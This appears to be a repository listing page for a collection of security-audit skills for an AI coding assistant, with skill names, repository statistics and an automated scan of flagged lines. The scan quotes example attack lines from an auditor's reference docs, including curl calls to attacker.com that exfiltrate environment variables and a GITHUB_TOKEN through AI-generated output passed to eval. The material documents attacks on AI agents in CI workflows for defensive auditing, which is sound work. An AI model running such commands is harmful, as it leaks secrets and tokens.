bytestools/scripts/find_dangerous_apis.pyruns14,132 bytestools/scripts/semantic_audit.pyruns33,243 bytestools/track_dataflow.shruns5,209 bytestools/validate_rust_toolchain.shruns8,434 bytesworkflows/phase-0-preflight.mddoc7,564 bytesworkflows/phase-1-source-analysis.mddoc5,091 bytesworkflows/phase-2-compiler-analysis.mddoc6,128 bytesworkflows/phase-3-interim-report.mddoc1,149 bytesworkflows/phase-4-poc-generation.mddoc1,301 bytesworkflows/phase-5-poc-validation.mddoc4,351 bytesworkflows/phase-6-final-report.mddoc1,166 bytesworkflows/phase-7-test-generation.mddoc862 bytes
No excerpt is shown for this license. Read the source on GitHub.
View the complete source on GitHubSkills included
- agentic-actions-auditor
- audit-context-building
- algorand-vulnerability-scanner
- audit-prep-assistant
- cairo-vulnerability-scanner
- code-maturity-assessor
- cosmos-vulnerability-scanner
- guidelines-advisor
- secure-workflow-guide
- solana-vulnerability-scanner
- substrate-vulnerability-scanner
- token-integration-analyzer
- ton-vulnerability-scanner
- burpsuite-project-parser
- c-review
- chrome-mcp-troubleshooting
- code-improver
- pr-improver
- skill-improver
- review-pr
- panel-review
- constant-time-analysis
- interpreting-culture-index
- cvss-scoring
- devcontainer-setup
- differential-review
- dimensional-analysis
- dwarf-expert
- entry-point-analyzer
- firebase-apk-scanner
- fp-check
- gh-cli
- github-triage
- goal-prompt
- let-fate-decide
- modern-cpp
- modern-python
- mutation-testing
- open-sourcing
- implement-patch
- patching-bugs
- prove-patch
- reproduce-bug
- validate-bug
- post-patch-validation
- property-based-testing
- adjudicate-regression
- hunt-regressions
- prepare-regression
- regression-hunt
- replay-regression
- report-regressions
- reproduce-regression
- review-walkthrough
- rust-review
- second-opinion
- semgrep-rule-creator
- semgrep-rule-variant-creator
- sharp-edges
- spec-to-code-compliance
- codeql
- sarif-parsing
- semgrep
- supply-chain-risk-auditor
- address-sanitizer
- aflpp
- atheris
- cargo-fuzz
- constant-time-testing
- coverage-analysis
- fuzzing-dictionary
- fuzzing-obstacles
- harness-writing
- libafl
- libfuzzer
- ossfuzz
- ruzzy
- testing-handbook-generator
- wycheproof
- audit-augmentation
- crypto-protocol-diagram
- diagramming-code
- genotoxic
- graph-evolution
- mermaid-to-proverif
- slicing-code-context
- trailmark
- trailmark-finding-triage
- trailmark-review-gate
- trailmark-structural
- trailmark-summary
- trailmark-variant-neighborhood
- vector-forge
- variant-analysis
- vulnerability-triage-brocards
- writing-lean-proofs
- yara-rule-authoring
- zeroize-audit
Repository facts
- License
- CC-BY-SA-4.0
- Created
- Jan 14, 2026
- Last pushed
- Nov 6, 2026
- Forks
- 683
- Open issues
- 32
- Project activity
- Active
Rank over the last 12 weeks
Now #183 · best #160 · down 10 in 30 days
- #179 on Oct 29
- #180 from Oct 30 to Nov 1
- #181 on Nov 2
- #182 on Nov 3
- #181 from Nov 4 to Nov 6
- #183 since Nov 7
63 earlier periods
- #161 on Aug 2
- #162 from Aug 8 to Aug 9
- #164 from Aug 10 to Aug 11
- #163 on Aug 12
- #164 from Aug 13 to Aug 17
- #166 from Aug 18 to Aug 19
- #164 on Aug 20
- #163 on Aug 21
- #160 on Aug 22
- #165 on Aug 23
- #164 on Aug 24
- #163 from Aug 25 to Aug 26
- #164 on Aug 27
- #163 on Aug 28
- #164 on Aug 29
- #163 on Aug 30
- #162 on Aug 31
- #165 on Sep 1
- #162 on Sep 2
- #167 on Sep 3
- #165 on Sep 4
- #167 on Sep 5
- #164 on Sep 6
- #167 from Sep 7 to Sep 8
- #168 from Sep 9 to Sep 10
- #165 on Sep 11
- #169 from Sep 12 to Sep 13
- #168 on Sep 14
- #169 on Sep 15
- #168 on Sep 16
- #169 on Sep 17
- #170 on Sep 18
- #169 on Sep 19
- #172 on Sep 20
- #171 on Sep 21
- #170 from Sep 22 to Sep 23
- #171 from Sep 24 to Sep 26
- #173 on Sep 27
- #175 from Sep 28 to Sep 29
- #171 on Sep 30
- #174 on Oct 1
- #175 on Oct 2
- #172 on Oct 3
- #170 on Oct 4
- #173 from Oct 5 to Oct 6
- #175 on Oct 7
- #173 on Oct 8
- #176 on Oct 9
- #174 on Oct 10
- #175 from Oct 11 to Oct 12
- #177 on Oct 13
- #176 on Oct 14
- #175 on Oct 15
- #174 on Oct 16
- #177 on Oct 17
- #178 on Oct 18
- #177 on Oct 19
- #176 on Oct 20
- #179 on Oct 21
- #178 on Oct 22
- #177 from Oct 23 to Oct 24
- #178 on Oct 25
- #178 on Oct 28
Before you install
Network or broad shellAutomated signals, not a guarantee
Checked Nov 7, 2026
Not fully analyzed: some files were too long, unreadable or missing. This never lowers the level.
Show 675 notes
.claude-plugin/marketplace.json:1Analysis incomplete: Referenced executable target unavailable; not analyzed.claude-plugin/marketplace.json:1Analysis incomplete: Referenced executable target unavailable; not analyzedplugins/gh-cli/hooks/hooks.json:1Analysis incomplete: Referenced executable target unavailable; not analyzedplugins/gh-cli/hooks/hooks.json:1Analysis incomplete: Referenced executable target unavailable; not analyzedplugins/gh-cli/hooks/hooks.json:1Analysis incomplete: Referenced executable target unavailable; not analyzedplugins/gh-cli/hooks/hooks.json:1Analysis incomplete: Referenced executable target unavailable; not analyzedplugins/gh-cli/hooks/hooks.json:1Analysis incomplete: Referenced executable target unavailable; not analyzedplugins/modern-python/hooks/hooks.json:1Analysis incomplete: Referenced executable target unavailable; not analyzedplugins/open-sourcing/.claude-plugin/plugin.json:1Analysis incomplete: Referenced executable target unavailable; not analyzedplugins/trailmark/.claude-plugin/plugin.json:1Analysis incomplete: Referenced executable target unavailable; not analyzedplugins/audit-context-building/skills/audit-context-building/SKILL.md:1Analysis incomplete: Referenced executable target unavailable; not analyzedplugins/building-secure-contracts/skills/algorand-vulnerability-scanner/SKILL.md:1Analysis incomplete: Referenced executable target unavailable; not analyzedplugins/building-secure-contracts/skills/algorand-vulnerability-scanner/SKILL.md:1Analysis incomplete: Referenced executable target unavailable; not analyzedplugins/building-secure-contracts/skills/algorand-vulnerability-scanner/SKILL.md:1Analysis incomplete: Referenced executable target unavailable; not analyzedplugins/building-secure-contracts/skills/algorand-vulnerability-scanner/SKILL.md:1Analysis incomplete: Referenced executable target unavailable; not analyzedplugins/building-secure-contracts/skills/algorand-vulnerability-scanner/SKILL.md:1Analysis incomplete: Referenced executable target unavailable; not analyzedplugins/building-secure-contracts/skills/audit-prep-assistant/SKILL.md:1Analysis incomplete: Referenced executable target unavailable; not analyzedplugins/building-secure-contracts/skills/audit-prep-assistant/SKILL.md:1Analysis incomplete: Referenced executable target unavailable; not analyzedplugins/building-secure-contracts/skills/audit-prep-assistant/SKILL.md:1Analysis incomplete: Referenced executable target unavailable; not analyzedplugins/building-secure-contracts/skills/audit-prep-assistant/SKILL.md:1Analysis incomplete: Referenced executable target unavailable; not analyzed
- 32 broad permissionsin 32 files: agentic-actions-auditor/SKILL.md:1 burpsuite-project-parser/SKILL.md:1 c-review/SKILL.md:1 and 29 more
- 164 dangerous shell commandsin 61 files: genotoxic/references/mutation-frameworks.md:308 vector-forge/references/mutation-frameworks.md:305 devcontainer-setup/resources/install.sh:138 and 58 more
- 2,119 network referencesin 246 files: interpreting-culture-index/scripts/uv.lock:12 slicing-code-context/scripts/uv.lock:6 firebase-apk-scanner/scanner.sh:70 and 243 more
- 17 obfuscation signalsin 6 files: yara-rule-authoring/scripts/test_yara_rules.py:276 yara-rule-authoring/scripts/yara_rules.py:634 audit-context-building/resources/ANALYSIS_FORMAT.md:25 and 3 more
- 3 instruction override signalsin 2 files: second-opinion/references/antigravity-invocation.md:37 devcontainer-setup/resources/.zshrc:35
- 107 executable scriptsin 100 files: plugins/patching-bugs/scripts/records.py:1 plugins/code-improver/workflows/improve.js:1 plugins/regression-hunt/scripts/registry.py:1 and 97 more
- 135 references to secretsin 42 files: firebase-apk-scanner/scanner.sh:182 zeroize-audit/references/ir-analysis.md:115 crypto-protocol-diagram/examples/simple-handshake/protocol.py:15 and 39 more
- No requests to vote in Hot
Show all 2,577 signals by file
.claude-plugin/marketplace.json
- Network accessline 71
"author": { "name": "Evan Downing", "url": "https://github.com/trailofbits" - Network accessline 72
"name": "Evan Downing", "url": "https://github.com/trailofbits" }, - Network accessline 73
"url": "https://github.com/trailofbits" - Network accessline 81
"author": { "name": "Alexis Challande", "url": "https://github.com/trailofbits" - Network accessline 82
"name": "Alexis Challande", "url": "https://github.com/trailofbits" }, - Network accessline 83
"url": "https://github.com/trailofbits" - Network accessline 106
"name": "gh-cli", "version": "1.6.3", "description": "Intercepts GitHub URL fetches (WebFetch and MCP fetch tools) and curl/wget commands, redirecting to the authenticated gh CLI.", - Network accessline 107
"version": "1.6.3", "description": "Intercepts GitHub URL fetches (WebFetch and MCP fetch tools) and curl/wget commands, redirecting to the authenticated gh CLI.", "author": { - Network accessline 108
"description": "Intercepts GitHub URL fetches (WebFetch and MCP fetch tools) and curl/wget commands, redirecting to the authenticated gh CLI.", - Network accessline 110
"name": "William Tan", "email": "opensource@trailofbits.com", "url": "https://github.com/trailofbits" - Network accessline 111
"email": "opensource@trailofbits.com", "url": "https://github.com/trailofbits" }, - Network accessline 112
"url": "https://github.com/trailofbits" - Network accessline 131
"name": "Nicolas Donboly", "email": "opensource@trailofbits.com", "url": "https://github.com/trailofbits" - Network accessline 132
"email": "opensource@trailofbits.com", "url": "https://github.com/trailofbits" }, - Network accessline 133
"url": "https://github.com/trailofbits" - Network accessline 142
"name": "Trail of Bits", "email": "opensource@trailofbits.com", "url": "https://github.com/trailofbits" - Network accessline 143
"email": "opensource@trailofbits.com", "url": "https://github.com/trailofbits" }, - Network accessline 144
"url": "https://github.com/trailofbits" - Network accessline 152
"author": { "name": "Trail of Bits", "url": "https://github.com/trailofbits" - Network accessline 153
"name": "Trail of Bits", "url": "https://github.com/trailofbits" }, - Network accessline 154
"url": "https://github.com/trailofbits" - Network accessline 163
"name": "Scott Arciszewski", "email": "opensource@trailofbits.com", "url": "https://github.com/tob-scott-a" - Network accessline 164
"email": "opensource@trailofbits.com", "url": "https://github.com/tob-scott-a" }, - Network accessline 165
"url": "https://github.com/tob-scott-a" - Network accessline 183
"author": { "name": "Trail of Bits", "url": "https://github.com/trailofbits" - Network accessline 184
"name": "Trail of Bits", "url": "https://github.com/trailofbits" }, - Network accessline 185
"url": "https://github.com/trailofbits" - Network accessline 213
"name": "Scott Arciszewski", "email": "opensource@trailofbits.com", "url": "https://github.com/trailofbits" - Network accessline 214
"email": "opensource@trailofbits.com", "url": "https://github.com/trailofbits" }, - Network accessline 215
"url": "https://github.com/trailofbits" - Network accessline 250
"author": { "name": "Scott Arciszewski", "url": "https://github.com/tob-scott-a" - Network accessline 251
"name": "Scott Arciszewski", "url": "https://github.com/tob-scott-a" }, - Network accessline 252
"url": "https://github.com/tob-scott-a" - Network accessline 288
"name": "William Tan", "email": "opensource@trailofbits.com", "url": "https://github.com/trailofbits" - Network accessline 289
"email": "opensource@trailofbits.com", "url": "https://github.com/trailofbits" }, - Network accessline 290
"url": "https://github.com/trailofbits" - Network accessline 299
"name": "Trail of Bits", "email": "opensource@trailofbits.com", "url": "https://github.com/trailofbits" - Network accessline 300
"email": "opensource@trailofbits.com", "url": "https://github.com/trailofbits" }, - Network accessline 301
"url": "https://github.com/trailofbits" - Network accessline 310
"name": "Facundo Tuesca", "email": "opensource@trailofbits.com", "url": "https://github.com/trailofbits" - Network accessline 311
"email": "opensource@trailofbits.com", "url": "https://github.com/trailofbits" }, - Network accessline 312
"url": "https://github.com/trailofbits" - Network accessline 330
"name": "Trail of Bits", "email": "opensource@trailofbits.com", "url": "https://github.com/trailofbits" - Network accessline 331
"email": "opensource@trailofbits.com", "url": "https://github.com/trailofbits" }, - Network accessline 332
"url": "https://github.com/trailofbits" - Network accessline 341
"name": "Henrik Brodin", "email": "opensource@trailofbits.com", "url": "https://github.com/trailofbits" - Network accessline 342
"email": "opensource@trailofbits.com", "url": "https://github.com/trailofbits" }, - Network accessline 343
"url": "https://github.com/trailofbits" - Network accessline 370
"name": "Trail of Bits", "email": "opensource@trailofbits.com", "url": "https://github.com/trailofbits" - Network accessline 371
"email": "opensource@trailofbits.com", "url": "https://github.com/trailofbits" }, - Network accessline 372
"url": "https://github.com/trailofbits" - Network accessline 380
"author": { "name": "Scott Arciszewski", "url": "https://github.com/tob-scott-a" - Network accessline 381
"name": "Scott Arciszewski", "url": "https://github.com/tob-scott-a" }, - Network accessline 382
"url": "https://github.com/tob-scott-a" - Network accessline 399
"author": { "name": "Paweł Płatek", "url": "https://github.com/GrosQuildu" - Network accessline 400
"name": "Paweł Płatek", "url": "https://github.com/GrosQuildu" }, - Network accessline 401
"url": "https://github.com/GrosQuildu" - Network accessline 419
"name": "Coriolan Pinhas & Benjamin Samuels", "email": "opensource@trailofbits.com", "url": "https://github.com/trailofbits" - Network accessline 420
"email": "opensource@trailofbits.com", "url": "https://github.com/trailofbits" }, - Network accessline 421
"url": "https://github.com/trailofbits" - Network accessline 430
"name": "Alexis Challande", "email": "opensource@trailofbits.com", "url": "https://github.com/trailofbits" - Network accessline 431
"email": "opensource@trailofbits.com", "url": "https://github.com/trailofbits" }, - Network accessline 432
"url": "https://github.com/trailofbits" - Network accessline 441
"name": "Evan Sultanik", "email": "opensource@trailofbits.com", "url": "https://github.com/trailofbits" - Network accessline 442
"email": "opensource@trailofbits.com", "url": "https://github.com/trailofbits" }, - Network accessline 443
"url": "https://github.com/trailofbits" - Network accessline 452
"name": "Evan Sultanik", "email": "opensource@trailofbits.com", "url": "https://github.com/trailofbits" - Network accessline 453
"email": "opensource@trailofbits.com", "url": "https://github.com/trailofbits" }, - Network accessline 454
"url": "https://github.com/trailofbits" - Network accessline 463
"name": "Fredrik Dahlgren", "email": "opensource@trailofbits.com", "url": "https://github.com/trailofbits" - Network accessline 464
"email": "opensource@trailofbits.com", "url": "https://github.com/trailofbits" }, - Network accessline 465
"url": "https://github.com/trailofbits" - Network accessline 474
"name": "Julius Alexandre", "email": "opensource@trailofbits.com", "url": "https://github.com/trailofbits" - Network accessline 475
"email": "opensource@trailofbits.com", "url": "https://github.com/trailofbits" }, - Network accessline 476
"url": "https://github.com/trailofbits"
plugins/agentic-actions-auditor/skills/agentic-actions-auditor/SKILL.md
- Broad permissionsline 1
Read Grep Glob Bash - Network accessline 58
| `owner/repo` | owner, repo; ref = default branch | | `owner/repo@ref` | owner, repo, ref (branch, tag, or SHA) | | `https://github.com/owner/repo` | owner, repo; ref = default branch | - Network accessline 59
| `owner/repo@ref` | owner, repo, ref (branch, tag, or SHA) | | `https://github.com/owner/repo` | owner, repo; ref = default branch | | `https://github.com/owner/repo/tree/main/...` | owner, repo; strip extra path segments | - Network accessline 60
| `https://github.com/owner/repo` | owner, repo; ref = default branch | - Network accessline 61
| `https://github.com/owner/repo/tree/main/...` | owner, repo; strip extra path segments | - Network accessline 64
Strip trailing slashes, `.git` suffix, and `www.` prefix. Handle both `http://` and `https://`. - Network accessline 314
- **Header:** Begin with `## Remote Analysis: owner/repo (@ref)` (omit `(@ref)` if using default branch) - **File links:** Each finding's File field includes a clickable GitHub link: `https://github.com/owner/repo/blob/{ref}/.github/workflo - Network accessline 315
- **File links:** Each finding's File field includes a clickable GitHub link: `https://github.com/owner/repo/blob/{ref}/.github/workflows/{filename}`
plugins/agentic-actions-auditor/skills/agentic-actions-auditor/assets/trail-of-bits-mark.svg
- Network accessline 1
<svg xmlns="http://www.w3.org/2000/svg" width="94" height="56" fill="none" viewBox="0 0 94 56"><path fill="#F0F4F7" d="m34.04 54.662-7.61-4.147L24.593 56l9.433-1.335c-.029 0-.043 0 .014-.003"/><path fill="#F0F4F7" d="m34.039 54.662-.014.003
plugins/agentic-actions-auditor/skills/agentic-actions-auditor/references/action-profiles.md
- Dangerous shell operationline 56
- Safety strategy defaults to `drop-sudo` (removes sudo privileges before running Codex) - Dangerous shell operationline 67
| `safety-strategy: unsafe` | Disables all safety enforcement including sudo restrictions | - Dangerous shell operationline 84
safety-strategy: drop-sudo # default: removes sudo privileges - Dangerous shell operationline 168
- run: eval "${{ steps.inference.outputs.result }}"
plugins/agentic-actions-auditor/skills/agentic-actions-auditor/references/cross-file-resolution.md
- Network accessline 183
**Composite actions have no `secrets` context.** GitHub's [contexts reference](https://docs.github.com/en/actions/reference/workflows-and-actions/contexts#secrets-context) states it is unavailable there and that a secret must be passed expl - Access to secretsline 185
[Credential-related source omitted]
plugins/agentic-actions-auditor/skills/agentic-actions-auditor/references/foundations.md
- Network accessline 98
`claude-code-action` replaced its input surface at v1. The v0.x names are absent from the v1 `action.yml` and the v1 names are absent from v0.x, so a signature written against one set silently matches nothing in the other. The action's [mig
plugins/agentic-actions-auditor/skills/agentic-actions-auditor/references/vector-c-cli-data-fetch.md
plugins/agentic-actions-auditor/skills/agentic-actions-auditor/references/vector-f-subshell-expansion.md
- Dangerous shell operationline 51
[Credential-related source omitted] - Network accessline 51
[Credential-related source omitted] - Access to secretsline 51
[Credential-related source omitted] - Access to secretsline 68
[Credential-related source omitted] - Network accessline 72
The attacker can also chain commands: - `echo $(whoami)` -- identify the runner user - `echo $(curl -s attacker.com/exfil?data=$(env | base64))` -- exfiltrate all env vars - Network accessline 73
- `echo $(whoami)` -- identify the runner user - `echo $(curl -s attacker.com/exfil?data=$(env | base64))` -- exfiltrate all env vars - `echo $(cat $RUNNER_TEMP/*.sh)` -- read workflow scripts including secret setup - Network accessline 74
- `echo $(curl -s attacker.com/exfil?data=$(env | base64))` -- exfiltrate all env vars
plugins/agentic-actions-auditor/skills/agentic-actions-auditor/references/vector-g-eval-of-ai-output.md
- Dangerous shell operationline 36
- Python `exec()` or `subprocess` with string formatting from AI output - Network accessline 76
eval gh issue edit "$ISSUE_NUMBER" $LABELS # eval expands shell metacharacters in AI-generated label values # attacker crafts: {"labels": ["$(curl attacker.com/exfil?t=$GITHUB_TOKEN)"]} - Network accessline 78
[Credential-related source omitted] - Access to secretsline 78
[Credential-related source omitted]
plugins/agentic-actions-auditor/skills/agentic-actions-auditor/references/vector-h-dangerous-sandbox-configs.md
- Access to secretsline 65
[Credential-related source omitted]
plugins/audit-context-building/.claude-plugin/plugin.json
plugins/audit-context-building/skills/audit-context-building/assets/trail-of-bits-mark.svg
- Network accessline 1
<svg xmlns="http://www.w3.org/2000/svg" width="94" height="56" fill="none" viewBox="0 0 94 56"><path fill="#F0F4F7" d="m34.04 54.662-7.61-4.147L24.593 56l9.433-1.335c-.029 0-.043 0 .014-.003"/><path fill="#F0F4F7" d="m34.039 54.662-.014.003
plugins/audit-context-building/skills/audit-context-building/resources/ANALYSIS_FORMAT.md
plugins/building-secure-contracts/.claude-plugin/plugin.json
plugins/building-secure-contracts/skills/algorand-vulnerability-scanner/SKILL.md
- Network accessline 299
- **Building Secure Contracts**: `building-secure-contracts/not-so-smart-contracts/algorand/` - **Tealer Documentation**: https://github.com/crytic/tealer - Network accessline 300
- **Tealer Documentation**: https://github.com/crytic/tealer - Network accessline 301
- **Algorand Developer Docs**: https://developer.algorand.org/docs/ - Network accessline 302
- **PyTeal Documentation**: https://pyteal.readthedocs.io/
plugins/building-secure-contracts/skills/algorand-vulnerability-scanner/assets/trail-of-bits-mark.svg
- Network accessline 1
<svg xmlns="http://www.w3.org/2000/svg" width="94" height="56" fill="none" viewBox="0 0 94 56"><path fill="#F0F4F7" d="m34.04 54.662-7.61-4.147L24.593 56l9.433-1.335c-.029 0-.043 0 .014-.003"/><path fill="#F0F4F7" d="m34.039 54.662-.014.003
plugins/building-secure-contracts/skills/audit-prep-assistant/SKILL.md
- Network accessline 295
git clone https://github.com/project/repo.git
plugins/building-secure-contracts/skills/audit-prep-assistant/assets/trail-of-bits-mark.svg
- Network accessline 1
<svg xmlns="http://www.w3.org/2000/svg" width="94" height="56" fill="none" viewBox="0 0 94 56"><path fill="#F0F4F7" d="m34.04 54.662-7.61-4.147L24.593 56l9.433-1.335c-.029 0-.043 0 .014-.003"/><path fill="#F0F4F7" d="m34.039 54.662-.014.003
plugins/building-secure-contracts/skills/cairo-vulnerability-scanner/SKILL.md
- Network accessline 63
### Tool Support - **Caracal**: Trail of Bits static analyzer for Cairo - Installation: `cargo install --git https://github.com/crytic/caracal --profile release --force` (a Rust tool — not on PyPI) - Network accessline 64
- **Caracal**: Trail of Bits static analyzer for Cairo - Installation: `cargo install --git https://github.com/crytic/caracal --profile release --force` (a Rust tool — not on PyPI) - Usage: `caracal detect src/` - Network accessline 65
- Installation: `cargo install --git https://github.com/crytic/caracal --profile release --force` (a Rust tool — not on PyPI) - Network accessline 307
run: | # Rebuilds from source each run; cache ~/.cargo or pin a release binary instead. cargo install --git https://github.com/crytic/caracal --profile release --force - Network accessline 308
# Rebuilds from source each run; cache ~/.cargo or pin a release binary instead. cargo install --git https://github.com/crytic/caracal --profile release --force caracal detect src/ --fail-on high,critical - Network accessline 309
cargo install --git https://github.com/crytic/caracal --profile release --force - Network accessline 317
- **Building Secure Contracts**: `building-secure-contracts/not-so-smart-contracts/cairo/` - **Caracal**: https://github.com/crytic/caracal - Network accessline 318
- **Caracal**: https://github.com/crytic/caracal - Network accessline 319
- **Cairo Documentation**: https://book.cairo-lang.org/ - Network accessline 320
- **StarkNet Documentation**: https://docs.starknet.io/ - Network accessline 321
- **OpenZeppelin Cairo Contracts**: https://github.com/OpenZeppelin/cairo-contracts
plugins/building-secure-contracts/skills/cairo-vulnerability-scanner/assets/trail-of-bits-mark.svg
- Network accessline 1
<svg xmlns="http://www.w3.org/2000/svg" width="94" height="56" fill="none" viewBox="0 0 94 56"><path fill="#F0F4F7" d="m34.04 54.662-7.61-4.147L24.593 56l9.433-1.335c-.029 0-.043 0 .014-.003"/><path fill="#F0F4F7" d="m34.039 54.662-.014.003
plugins/building-secure-contracts/skills/code-maturity-assessor/assets/trail-of-bits-mark.svg
- Network accessline 1
<svg xmlns="http://www.w3.org/2000/svg" width="94" height="56" fill="none" viewBox="0 0 94 56"><path fill="#F0F4F7" d="m34.04 54.662-7.61-4.147L24.593 56l9.433-1.335c-.029 0-.043 0 .014-.003"/><path fill="#F0F4F7" d="m34.039 54.662-.014.003
plugins/building-secure-contracts/skills/cosmos-vulnerability-scanner/SKILL.md
- Network accessline 185
- **EVM vulnerabilities**: [EVM_VULNERABILITY_PATTERNS.md](resources/EVM_VULNERABILITY_PATTERNS.md) - **Building Secure Contracts**: `building-secure-contracts/not-so-smart-contracts/cosmos/` - **Cosmos SDK Docs**: https://docs.cosmos.netwo - Network accessline 186
- **Building Secure Contracts**: `building-secure-contracts/not-so-smart-contracts/cosmos/` - **Cosmos SDK Docs**: https://docs.cosmos.network/ - **CodeQL for Cosmos SDK**: https://github.com/crypto-com/cosmos-sdk-codeql - Network accessline 187
- **Cosmos SDK Docs**: https://docs.cosmos.network/ - Network accessline 188
- **CodeQL for Cosmos SDK**: https://github.com/crypto-com/cosmos-sdk-codeql
plugins/building-secure-contracts/skills/cosmos-vulnerability-scanner/assets/trail-of-bits-mark.svg
- Network accessline 1
<svg xmlns="http://www.w3.org/2000/svg" width="94" height="56" fill="none" viewBox="0 0 94 56"><path fill="#F0F4F7" d="m34.04 54.662-7.61-4.147L24.593 56l9.433-1.335c-.029 0-.043 0 .014-.003"/><path fill="#F0F4F7" d="m34.039 54.662-.014.003
plugins/building-secure-contracts/skills/cosmos-vulnerability-scanner/resources/ADVANCED_VULNERABILITY_PATTERNS.md
- Network accessline 76
**References**: - [Zellic — Cosmos Security Primer](https://www.zellic.io/blog/exploring-cosmos-a-security-primer/) (Finding 16) - Network accessline 77
- [Zellic — Cosmos Security Primer](https://www.zellic.io/blog/exploring-cosmos-a-security-primer/) (Finding 16) - Network accessline 78
- [Fault Tolerant — Cosmos Security Handbook](https://www.faulttolerant.xyz/2024-01-16-cosmos-security-1/) (Finding 31) - Network accessline 79
- [Node A-Team — Unbonding Period Bypass](https://medium.com/node-a-team/cosmos-hub-security-vulnerability-regarding-redelegation-and-unbonding-e6a2cf03e928) (Finding 14) - Network accessline 142
**References**: - [OtterSec — SEDA Vote Extension Forgery](https://osec.io/blog/2025-06-10-cosmos-security/) (Finding 15) - Network accessline 143
- [OtterSec — SEDA Vote Extension Forgery](https://osec.io/blog/2025-06-10-cosmos-security/) (Finding 15) - Network accessline 144
- [CometBFT Tachyon CSA-2026-001](https://github.com/cometbft/cometbft/security/advisories/GHSA-c32p-wcqj-j677) (Finding 21) - Network accessline 145
- [ASA-2024-003 Vesting on Blocked Addresses](https://github.com/cosmos/cosmos-sdk/security/advisories) (Finding 29) - Network accessline 174
**References**: - [HackerOne Report 2120609](https://hackerone.com/reports/2120609) (Finding 28) - Network accessline 175
- [HackerOne Report 2120609](https://hackerone.com/reports/2120609) (Finding 28) - Network accessline 232
**References**: - [Dragonberry / ICS-23 Proof Forgery](https://forum.cosmos.network/t/ibc-security-advisory-dragonberry/7702) (Finding 3a) - Network accessline 233
- [Dragonberry / ICS-23 Proof Forgery](https://forum.cosmos.network/t/ibc-security-advisory-dragonberry/7702) (Finding 3a) - Network accessline 234
- [Verichains ICS-23 analysis](https://blog.verichains.io/p/vsa-2022-103-cosmos-sdk-forging-membership) - Network accessline 235
- [Dragonfruit / IAVL RangeProof](https://forum.cosmos.network/t/cosmos-sdk-security-advisory-dragonfruit/7614) (Finding 30) - Network accessline 236
- [Gravity Bridge ECDSA malleability](https://maxwelldulin.com/BlogPost/Cryptographic-Asymmetry-and-How-To-Shut-Down-A-CosmosEthereum-Bridge) (Finding 13)
plugins/building-secure-contracts/skills/cosmos-vulnerability-scanner/resources/COSMWASM_VULNERABILITY_PATTERNS.md
- Network accessline 39
**References**: - [CWA-2024-002](https://github.com/CosmWasm/advisories/blob/main/CWAs/CWA-2024-002.md) - Network accessline 40
- [CWA-2024-002](https://github.com/CosmWasm/advisories/blob/main/CWAs/CWA-2024-002.md) - Network accessline 82
**References**: - [CWA-2024-006](https://github.com/CosmWasm/advisories/blob/main/CWAs/CWA-2024-006.md) - Network accessline 83
- [CWA-2024-006](https://github.com/CosmWasm/advisories/blob/main/CWAs/CWA-2024-006.md) - Network accessline 143
- **CosmWasm Security Advisories**: https://github.com/CosmWasm/advisories - Network accessline 144
- **ibc-go Security Advisories**: https://github.com/cosmos/ibc-go/security/advisories - Network accessline 145
- **Asymmetric Research**: "Cosmos IBC Reentrancy Infinite Mint" — https://blog.asymmetric.re/cosmos-ibc-reentrancy-infinite-mint/
plugins/building-secure-contracts/skills/cosmos-vulnerability-scanner/resources/EVM_VULNERABILITY_PATTERNS.md
- Network accessline 35
**References**: - [EVM staking precompile infinite delegation](https://forum.cosmos.network/t/critical-evm-precompiled-contract-bug-allowing-unlimited-token-mint/14060) (Finding 7) - Network accessline 36
- [EVM staking precompile infinite delegation](https://forum.cosmos.network/t/critical-evm-precompiled-contract-bug-allowing-unlimited-token-mint/14060) (Finding 7) - Network accessline 37
- [Saga $7M exploit](https://advisories.gitlab.com/pkg/golang/github.com/cosmos/evm/GHSA-54gx-3cgr-7mfm/) (Finding 5) - Network accessline 64
**References**: - [Evmos infinite mint](https://blog.asymmetric.re/evmos-precompile-state-commit-infinite-mint/) (Finding 6) - Network accessline 65
- [Evmos infinite mint](https://blog.asymmetric.re/evmos-precompile-state-commit-infinite-mint/) (Finding 6) - Network accessline 101
**References**: - [Partial precompile state writes](https://github.com/advisories/GHSA-mjfq-3qr2-6g84) (Finding 20) - Network accessline 102
- [Partial precompile state writes](https://github.com/advisories/GHSA-mjfq-3qr2-6g84) (Finding 20) - Network accessline 124
**References**: - [Initia Code4rena report](https://code4rena.com/reports/2025-02-initia-cosmos) (Finding 26b) - Network accessline 125
- [Initia Code4rena report](https://code4rena.com/reports/2025-02-initia-cosmos) (Finding 26b) - Network accessline 146
**References**: - [Initia Code4rena report](https://code4rena.com/reports/2025-02-initia-cosmos) (Finding 26c) - Network accessline 147
- [Initia Code4rena report](https://code4rena.com/reports/2025-02-initia-cosmos) (Finding 26c) - Network accessline 190
**References**: - [Initia Code4rena report](https://code4rena.com/reports/2025-02-initia-cosmos) (Finding 26a) - Network accessline 191
- [Initia Code4rena report](https://code4rena.com/reports/2025-02-initia-cosmos) (Finding 26a) - Network accessline 243
**References**: - [Jump Crypto — Bypassing Ethermint Ante Handlers](https://jumpcrypto.com/bypassing-ethermint-ante-handlers/) - Network accessline 244
- [Jump Crypto — Bypassing Ethermint Ante Handlers](https://jumpcrypto.com/bypassing-ethermint-ante-handlers/) - Network accessline 252
**What to Check**: - [ ] [EVM hooks](https://docs.evmos.org/protocol/modules/evm#hooks) from `x/evm` and `x/erc20` modules reviewed for correctness - Network accessline 253
- [ ] [EVM hooks](https://docs.evmos.org/protocol/modules/evm#hooks) from `x/evm` and `x/erc20` modules reviewed for correctness - Network accessline 255
- [ ] Hooks do not assume EVM state is finalized (it may still be in a cached context) - [ ] Cross-module interactions between `x/evm`, `x/erc20`, `x/bank`, and `x/staking` do not create circular dependencies or reentrancy - [ ] User intera - Network accessline 257
- [ ] User interaction with [module special addresses](https://docs.evmos.org/protocol/module-accounts) reviewed — EVM contracts should not be able to interact with Cosmos module accounts in unexpected ways - Network accessline 362
- **Saga $7M exploit**: https://advisories.gitlab.com/pkg/golang/github.com/cosmos/evm/GHSA-54gx-3cgr-7mfm/ - Network accessline 363
- **Evmos infinite mint**: https://blog.asymmetric.re/evmos-precompile-state-commit-infinite-mint/ - Network accessline 364
- **EVM staking precompile**: https://forum.cosmos.network/t/critical-evm-precompiled-contract-bug-allowing-unlimited-token-mint/14060 - Network accessline 365
- **Partial precompile state writes**: https://github.com/advisories/GHSA-mjfq-3qr2-6g84 - Network accessline 366
- **Initia Code4rena**: https://code4rena.com/reports/2025-02-initia-cosmos - Network accessline 367
